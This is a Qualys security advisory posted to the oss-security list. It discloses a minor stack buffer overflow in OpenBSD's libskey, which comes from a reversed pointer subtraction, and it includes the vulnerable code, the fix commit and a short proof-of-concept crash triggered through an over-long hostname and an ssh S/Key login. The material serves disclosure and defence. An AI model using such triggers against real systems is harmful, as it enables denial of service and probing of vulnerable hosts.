|
Message-ID: <20230315231308.GA24066@localhost.localdomain> Date: Wed, 15 Mar 2023 23:13:23 +0000 From: Qualys Security Advisory <qsa@...lys.com> To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com> Subject: Minor stack-based buffer overflow in OpenBSD's libskey Hi all, (Posting this report here in case another project uses the same code.) We discovered a minor stack-based buffer overflow in OpenBSD's libskey; it was introduced in July 1997 by the following commit: https://github.com/openbsd/src/commit/ea55ee16580e7b47c83712c5fd50615f8b1d26ad and was fixed today by the following commit (thanks to OpenBSD for their incredibly quick response!): https://github.com/openbsd/src/commit/848ef98a011b51fa811cb86fe900433edd2db24a and although the vulnerable function is reachable remotely via OpenSSH, this bug is useless in practice: - the hostname of the affected system must be longer than 126 characters to trigger this buffer overflow; - the characters that overflow this buffer are all '\0' characters (the filler characters of a strncpy() call). ======================================================================== Analysis ======================================================================== For users who do not have an entry in the S/Key database (the default on OpenBSD), libskey generates a fake challenge: ------------------------------------------------------------------------ 46 #define SKEY_MAX_PW_LEN 255 .. 49 #define SKEY_MAX_SEED_LEN 16 ------------------------------------------------------------------------ 420 skey_fakeprompt(char *username, char *skeyprompt) 421 { 422 char secret[SKEY_MAX_SEED_LEN], pbuf[SKEY_MAX_PW_LEN+1], *p, *u; ... 428 /* 429 * Base first 4 chars of seed on hostname. 430 * Add some filler for short hostnames if necessary. 431 */ 432 if (gethostname(pbuf, sizeof(pbuf)) == -1) 433 *(p = pbuf) = '.'; 434 else 435 for (p = pbuf; isalnum((unsigned char)*p); p++) 436 if (isalpha((unsigned char)*p) && 437 isupper((unsigned char)*p)) 438 *p = (char)tolower((unsigned char)*p); 439 if (*p && pbuf - p < 4) 440 (void)strncpy(p, "asjd", 4 - (pbuf - p)); ------------------------------------------------------------------------ Unfortunately, "pbuf - p" at lines 439 and 440 should be "p - pbuf", so the "pbuf - p < 4" test at line 439 always succeeds and the strncpy() at line 440 may overflow pbuf (if 2 * (p - pbuf) + 4 > 255 + 1, i.e. if the hostname is longer than 126 characters). ======================================================================== Proof of concept ======================================================================== - First, as root on an OpenBSD system: ------------------------------------------------------------------------ # hostname="`hostname`" # hostname `perl -e 'print "a" x 136'`.my.domain # ktrace -i /usr/sbin/sshd -d -p 2222 ------------------------------------------------------------------------ - Second, as a remote attacker: ------------------------------------------------------------------------ $ ssh -o ChallengeResponseAuthentication=yes -o KbdInteractiveAuthentication=yes -o PreferredAuthentications=keyboard-interactive -o KbdInteractiveDevices=bsdauth -l nobody:skey -p 2222 192.168.56.123 ------------------------------------------------------------------------ - Third, again as root on the OpenBSD system: ------------------------------------------------------------------------ # hostname "$hostname" # kdump ... 6718 login_skey PSIG SIGSEGV SIG_DFL code SEGV_MAPERR<1> addr=0x7f7f00000000 trapno=6 ------------------------------------------------------------------------ We are at your disposal for questions, comments, and further discussions. Thank you very much! With best regards, -- the Qualys Security Advisory team
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.